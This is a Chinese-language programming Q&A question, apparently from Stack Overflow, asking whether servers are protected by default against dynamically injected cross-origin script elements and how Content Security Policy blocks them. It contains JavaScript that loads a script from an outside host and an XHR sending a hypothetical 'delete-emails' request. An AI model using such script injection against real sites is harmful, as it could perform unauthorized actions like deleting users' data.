【发布时间】:2017-06-13 18:17:48
【问题描述】:
一些服务器允许我们动态插入 src 与页面域不同的脚本元素。
由于同源策略,我们无法将数据发送到另一台服务器,但是我们可以执行以下操作:
- 删除某些邮件服务中的所有电子邮件
- 在商店下订单
- 在社交网络上写消息等等...
因为脚本从服务器 A 注入到页面 x,并且请求正在对服务器 A 执行,这里没有任何问题 - 同源政策不起作用。
服务器是否默认不受此保护?
在受保护的服务器上,我们得到了这个:
拒绝加载脚本,因为它违反了以下内容安全策略指令:“script-src 'unsafe-eval' 'unsafe-inline'
q=document.createElement('script');
q.src='http://myserver.com/inject.js';
document.head.append(q);
这样的脚本可以打包到 chrome 扩展中并安装。 (我错了还是扩展程序有更多限制?)
这里是 inject.js 假设服务器正在使用 delete-emails 参数处理请求:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://stackoverflow.com/?delete-emails');
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
console.log(location.href);
}
};
xhr.send();
例如,如果我将脚本元素(插入头部)插入到 stackoverflow.com 页面,我会得到200 OK。
【问题讨论】:
标签: javascript security google-chrome-extension same-origin-policy javascript-injection